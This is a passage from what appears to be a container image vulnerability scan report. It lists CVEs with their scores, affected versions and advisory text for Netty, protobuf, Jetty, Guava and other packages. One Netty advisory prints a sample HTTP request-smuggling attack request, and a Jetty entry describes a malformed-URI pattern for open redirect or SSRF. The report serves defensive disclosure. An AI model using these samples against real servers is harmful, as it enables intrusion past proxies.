-critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." - -
-
- -high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. - -This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. - -### Impact - -All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. - -### References -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 - -
-
- -high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
- -
Description -
- -### Impact -The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). - - -All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack - -### Workarounds -No workarounds other than not using the `Bzip2Decoder` - -### References - -Relevant code areas: - -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 - -
-
- -medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.432%
EPSS Percentile62nd percentile
- -
Description -
- -### Impact - -Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. - -Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. - - - -
-
- -medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.025%
EPSS Percentile6th percentile
- -
Description -
- -### Impact - -When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. - -The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) - -### Vulnerability Details - -On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. - -The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. - -This is the case in netty's `AbstractDiskHttpData` is vulnerable. - -https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 - -`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. - -You may be affected by this vulnerability your project contains the following code patterns: - -```java -channelPipeline.addLast(new HttpPostRequestDecoder(...)); -``` - -```java -channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); -``` - -### Patches - -This has been patched in version `4.1.59.Final`. - -### Workarounds - -Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. - -### References - - - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) - - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) - -### Similar Vulnerabilities - -Similar, but not the same. - - - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - - Google Guava - https://github.com/google/guava/issues/4011 - - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 - -### For more information -If you have any questions or comments about this advisory: -* Open an issue in [netty](https://github.com/netty/netty) -* Email us [here](mailto:netty-security@googlegroups.com) - -### Original Report - -> Hi Netty Security Team, -> -> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: -> https://lgtm.com/query/7723301787255288599/ -> -> Netty contains three local information disclosure vulnerabilities, so far as I can tell. -> -> One is here, where the private key for the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 -> -> One is here, where the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 -> -> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 -> -> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. -> -> Impacted OS: -> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. -> -> Mitigation. -> -> Moving to the `Files` API instead will fix this vulnerability. -> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- -> -> This API will explicitly set the posix file permissions to something safe, by default. -> -> I recently disclosed a similar vulnerability in JUnit 4: -> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp -> -> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. -> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 -> -> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. -> https://github.com/netty/netty/security/advisories -> -> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. -> -> Cheers, -> Jonathan Leitschuh - -
-
- -medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score3.244%
EPSS Percentile87th percentile
- -
Description -
- -### Impact -The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 - -This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. - -### Patches -This was fixed as part of 4.1.61.Final - -### Workarounds -Validation can be done by the user before proxy the request by validating the header. - -
-
- -medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
- -
Description -
- -### Impact -If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. -If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. - -In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. - -An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: - -``` -POST / HTTP/2 -:authority:: externaldomain.com -Content-Length: 4 - -asdfGET /evilRedirect HTTP/1.1 -Host: internaldomain.com -``` - -Users are only affected if all of this is `true`: - * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used - * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects - * These HTTP/1.1 objects are forwarded to another remote peer. - - -### Patches -This has been patched in 4.1.60.Final - -### Workarounds -The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. - -### References -Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 - -
-
- -medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. - -
-
-
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) - -pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile17th percentile
- -
Description -
- - - -
-
- -low : CVE--2025--46394 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.031%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
- -low : CVE--2024--58251 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) - -pkg:maven/org.apache.commons/commons-lang3@3.12.0
-medium 6.5: CVE--2025--48924 Uncontrolled Recursion - - - - - - - - -
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- -Uncontrolled Recursion vulnerability in Apache Commons Lang. - -This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. - -The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. - -Users are recommended to upgrade to version 3.18.0, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) - -pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
-medium 4.6: CVE--2025--55039 Inadequate Encryption Strength - - - - - - - - -
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
- -
Description -
- -This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. - -Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. - -When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. - -This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. - -To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) - -pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
-medium : CVE--2026--22184 - - - - - - -
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the 